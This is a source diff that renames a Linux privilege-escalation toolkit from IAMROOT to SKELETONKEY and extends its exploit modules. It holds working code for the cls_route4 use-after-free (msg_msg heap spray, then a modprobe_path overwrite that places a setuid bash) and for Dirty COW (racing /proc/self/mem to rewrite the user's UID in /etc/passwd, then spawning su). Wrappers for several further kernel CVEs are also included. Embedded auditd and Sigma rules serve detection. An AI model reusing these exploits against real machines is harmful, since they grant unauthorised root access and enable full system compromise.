if (seeded == 0) {
/* sysv IPC may be restricted (kernel.msg_max / ulimit -q).
* Without a spray we have no slot for the UAF to refill. */
fprintf(stderr, "[-] cls_route4 arb_write: kaddr-spray seeded 0 msgs\n");
return -1;
}
/* Drive the classifier. The route4 lookup follows the dangling
* pointer into msg_msg-controlled bytes; on a vulnerable kernel
* the fake `ops->classify` (or one of the strided pointers) is
* dereferenced. If the kernel survives the deref and the write
* lands at &kaddr, the finisher's sentinel file appears within 3s.
* If it doesn't (most likely this is genuinely best-effort), the
* finisher's wait loop times out and reports failure. */
trigger_classify();
/* Give classify-side processing a brief window before returning
* the finisher polls the sentinel for 3s but the initial write
* (if any) happens within ms. */
usleep(50 * 1000);
c->arb_landed++;
/* Per the xtcompat precedent: return 0 so the finisher proceeds
* to its sentinel check. Returning -1 here would abort the
* finisher even when the write may have landed. */
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ----------------------------------------------- */
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cls_route4_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cls_route4_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] cls_route4: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!have_tc() || !have_ip()) {
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
"cannot exploit\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
(void)ctx;
return SKELETONKEY_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early no point doing
* the userns + tc + spray + trigger dance if we can't finish. */
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("cls_route4");
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit\n");
fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit%s\n",
ctx->full_chain ? " + full-chain finisher" : "");
if (ctx->full_chain) {
fprintf(stderr, " NOTE: on primitive landing, invokes shared\n"
" modprobe_path finisher via msg_msg-tagged kaddr\n"
" spray. Sentinel-arbitrated (no in-process verify).\n");
}
}
/* Block SIGPIPE in case the dummy-interface sendto's complain. */
@@ -413,7 +607,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (child == 0) {
@@ -436,15 +630,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
_exit(22);
}
int queues[SPRAY_MSG_QUEUES];
int n_queues = spray_msg_msg(queues);
if (n_queues == 0) {
struct cls_route4_arb_ctx arb_ctx;
memset(&arb_ctx, 0, sizeof arb_ctx);
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) arb_ctx.queues[i] = -1;
arb_ctx.n_queues = spray_msg_msg(arb_ctx.queues);
arb_ctx.dangling_ready = true; /* stage_dangling_filter() just ran */
if (arb_ctx.n_queues == 0) {
fprintf(stderr, "[-] cls_route4: msg_msg spray produced 0 queues\n");
_exit(23);
}
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: msg_msg spray seeded %d queues\n",
n_queues);
arb_ctx.n_queues);
}
/* Drive the classifier — the bug fires here on a vulnerable
@@ -455,11 +652,11 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
/* Best-effort empirical witness write — picked up by --cleanup
* and by post-run triage. */
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
if (log) {
fprintf(log,
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
n_queues, pre_active, post_active);
arb_ctx.n_queues, pre_active, post_active);
fclose(log);
}
@@ -467,7 +664,32 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* refilled slot during classify drain. */
usleep(200 * 1000);
drain_msg_msg(queues);
/* --full-chain branch: invoke the shared modprobe_path
* finisher with our msg_msg-tagged arb-write. If the finisher
* execve's a setuid bash we never return; otherwise it returns
* EXPLOIT_FAIL after the 3s sentinel timeout (correct behavior
* on a patched kernel or when the write didn't land). */
if (full_chain_ready) {
/* Re-fire the trigger inside the arb-write to give the
* kernel a second chance at the refilled slot the
* dangling filter is still in place from above. */
arb_ctx.dangling_ready = true;
int fr = skeletonkey_finisher_modprobe_path(&off,
cls4_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
drain_msg_msg(arb_ctx.queues);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35);
}
drain_msg_msg(arb_ctx.queues);
/* If we got here without a kernel oops, the bug either isn't
* reachable on this build (patched / module not loadable /
@@ -487,7 +709,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
pid_t w = waitpid(child, &status, 0);
if (w < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
@@ -502,41 +724,70 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
* claim root we haven't escalated. */
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
return IAMROOT_EXPLOIT_FAIL;
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc != 30) {
switch (rc) {
case 20: case 21:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: child failed at stage rc=%d "
"(see preceding errors)\n", rc);
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
}
/* rc 20/21 = userns setup; rc 22 = tc setup (likely module
* absent or filter type unsupported); rc 23 = spray. None of
* these mean kernel was exploited. */
if (rc == 22) return IAMROOT_PRECOND_FAIL;
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
"may be absent or filter type unsupported\n");
}
return SKELETONKEY_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return SKELETONKEY_PRECOND_FAIL;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
"Inspect dmesg for KASAN/oops witnesses.\n");
fprintf(stderr, "[~] cls_route4: cred-overwrite step not implemented "
"(needs per-kernel offsets); returning EXPLOIT_FAIL.\n");
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
"(no --full-chain); returning EXPLOIT_FAIL.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
"(setuid bash placed; sentinel matched)\n");
}
return SKELETONKEY_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
"either the kernel is patched, the spray didn't land,\n"
" or the fake-ops deref didn't hit the route the\n"
" finisher's sentinel polls for. See "
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
default:
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
}
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
@@ -546,21 +797,21 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
* the exploit with extended privileges (e.g. as root) and the
* interface lingered in init_net. */
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
/* ignore */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
static const char cls_route4_auditd[] =
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
"# Flag tc filter operations with route4 classifier from non-root.\n"
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
const struct iamroot_module cls_route4_module = {
const struct skeletonkey_module cls_route4_module = {
.name = "cls_route4",
.cve = "CVE-2022-2588",
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
@@ -576,7 +827,7 @@ const struct iamroot_module cls_route4_module = {
.detect_falco = NULL,
};
void iamroot_register_cls_route4(void)
void skeletonkey_register_cls_route4(void)
{
iamroot_register(&cls_route4_module);
skeletonkey_register(&cls_route4_module);
}
@@ -0,0 +1,12 @@
/*
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
*/
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cls_route4_module;
#endif
@@ -1,28 +0,0 @@
/*
* copy_fail_family — IAMROOT module registry hooks
*
* The family currently contains five iamroot_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in iamroot_modules.c, registered into the global registry
* by iamroot_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module copy_fail_module;
extern const struct iamroot_module copy_fail_gcm_module;
extern const struct iamroot_module dirty_frag_esp_module;
extern const struct iamroot_module dirty_frag_esp6_module;
extern const struct iamroot_module dirty_frag_rxrpc_module;
#endif
@@ -1,21 +1,21 @@
/*
* copy_fail_family IAMROOT module bridge layer
* copy_fail_family SKELETONKEY module bridge layer
*
* Wraps the existing per-CVE detect/exploit functions (from the
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
*
* The bridge functions translate between the family's df_result_t
* (defined in src/common.h) and iamroot_result_t (defined in
* (defined in src/common.h) and skeletonkey_result_t (defined in
* core/module.h). Numeric values are identical by design so the
* translation is a direct cast.
*
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
* forwarded to the family's existing global flags before each
* callback. This preserves DIRTYFAIL's existing CLI semantics
* unchanged.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "src/common.h"
@@ -28,7 +28,7 @@
#include <sys/stat.h>
static void apply_ctx(const struct iamroot_ctx *ctx)
static void apply_ctx(const struct skeletonkey_ctx *ctx)
{
dirtyfail_use_color = !ctx->no_color;
dirtyfail_active_probes = ctx->active_probe;
@@ -54,13 +54,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)mitigate_apply();
return (skeletonkey_result_t)mitigate_apply();
}
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
struct stat st;
@@ -69,27 +69,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
}
return (iamroot_result_t)mitigate_revert();
return (skeletonkey_result_t)mitigate_revert();
}
if (!ctx->json) {
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
"evicting /etc/passwd from page cache\n");
}
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
}
/* ----- copy_fail (CVE-2026-31431) ----- */
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_detect();
return (skeletonkey_result_t)copyfail_detect();
}
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
}
/* Shared detection rules for the copy_fail family — every member of
@@ -99,19 +99,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
static const char copy_fail_family_auditd[] =
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
"# xfrm SA setup (Dirty Frag ESP variants)\n"
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
static const char copy_fail_family_sigma[] =
"title: Copy Fail / Dirty Frag family exploitation\n"
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
"status: experimental\n"
"description: |\n"
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
@@ -127,7 +127,7 @@ static const char copy_fail_family_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
const struct iamroot_module copy_fail_module = {
const struct skeletonkey_module copy_fail_module = {
.name = "copy_fail",
.cve = "CVE-2026-31431",
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
@@ -145,19 +145,19 @@ const struct iamroot_module copy_fail_module = {
/* ----- copy_fail_gcm (variant, no CVE) ----- */
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_gcm_detect();
return (skeletonkey_result_t)copyfail_gcm_detect();
}
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
}
const struct iamroot_module copy_fail_gcm_module = {
const struct skeletonkey_module copy_fail_gcm_module = {
.name = "copy_fail_gcm",
.cve = "VARIANT",
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
@@ -175,19 +175,19 @@ const struct iamroot_module copy_fail_gcm_module = {
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_detect();
return (skeletonkey_result_t)dirtyfrag_esp_detect();
}
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_esp_module = {
const struct skeletonkey_module dirty_frag_esp_module = {
.name = "dirty_frag_esp",
.cve = "CVE-2026-43284",
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
@@ -205,19 +205,19 @@ const struct iamroot_module dirty_frag_esp_module = {
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_detect();
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
}
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_esp6_module = {
const struct skeletonkey_module dirty_frag_esp6_module = {
.name = "dirty_frag_esp6",
.cve = "CVE-2026-43284",
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
@@ -235,19 +235,19 @@ const struct iamroot_module dirty_frag_esp6_module = {
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
}
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
}
const struct iamroot_module dirty_frag_rxrpc_module = {
const struct skeletonkey_module dirty_frag_rxrpc_module = {
.name = "dirty_frag_rxrpc",
.cve = "CVE-2026-43500",
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
@@ -265,11 +265,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {
/* ----- Family registration ----- */
void iamroot_register_copy_fail_family(void)
void skeletonkey_register_copy_fail_family(void)
{
iamroot_register(&copy_fail_module);
iamroot_register(&copy_fail_gcm_module);
iamroot_register(&dirty_frag_esp_module);
iamroot_register(&dirty_frag_esp6_module);
iamroot_register(&dirty_frag_rxrpc_module);
skeletonkey_register(&copy_fail_module);
skeletonkey_register(&copy_fail_gcm_module);
skeletonkey_register(&dirty_frag_esp_module);
skeletonkey_register(&dirty_frag_esp6_module);
skeletonkey_register(&dirty_frag_rxrpc_module);
}
@@ -0,0 +1,28 @@
/*
* copy_fail_family — SKELETONKEY module registry hooks
*
* The family currently contains five skeletonkey_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in skeletonkey_modules.c, registered into the global registry
* by skeletonkey_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module copy_fail_module;
extern const struct skeletonkey_module copy_fail_gcm_module;
extern const struct skeletonkey_module dirty_frag_esp_module;
extern const struct skeletonkey_module dirty_frag_esp6_module;
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
#endif
+25
View File
@@ -0,0 +1,25 @@
# NOTICE — dirty_cow (CVE-2016-5195)
## Vulnerability
**CVE-2016-5195** — Copy-on-write race via `/proc/self/mem` + `madvise`
→ arbitrary file write into the page cache.
## Research credit
Discovered by **Phil Oester**, October 2016. The bug had been latent in
the kernel since ~2007.
Original advisory: <https://dirtycow.ninja/>
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
## SKELETONKEY role
Two-thread Phil-Oester-style race: writer thread via
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
`/etc/passwd` UID field flip + `su` for the root shell. Useful for
**old systems coverage** — RHEL 6/7 (3.10 baseline), Ubuntu 14.04
(3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT.
Ships auditd watch on `/proc/self/mem` and a sigma rule for non-root
mem-open patterns.
@@ -1,12 +0,0 @@
/*
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
*/
#ifndef DIRTY_COW_IAMROOT_MODULES_H
#define DIRTY_COW_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_cow_module;
#endif
@@ -1,5 +1,5 @@
/*
* dirty_cow_cve_2016_5195 IAMROOT module
* dirty_cow_cve_2016_5195 SKELETONKEY module
*
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
* handling: a thread writing to /proc/self/mem races a thread calling
@@ -41,7 +41,7 @@
* - execve(su) shell with uid=0
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -224,14 +224,14 @@ static void revert_passwd_page_cache(void)
}
}
/* ---- iamroot interface ---- */
/* ---- skeletonkey interface ---- */
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
@@ -239,7 +239,7 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
@@ -247,26 +247,26 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
"/etc/passwd via /proc/self/mem\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = dirty_cow_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_cow_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
struct passwd *pw = getpwuid(geteuid());
if (!pw) {
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
off_t uid_off;
@@ -275,7 +275,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -292,12 +292,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
@@ -305,17 +305,17 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Embedded detection rules ---- */
@@ -325,14 +325,14 @@ static const char dirty_cow_auditd[] =
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
static const char dirty_cow_sigma[] =
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
"id: 1e2c5d8f-iamroot-dirty-cow\n"
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
"status: experimental\n"
"description: |\n"
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
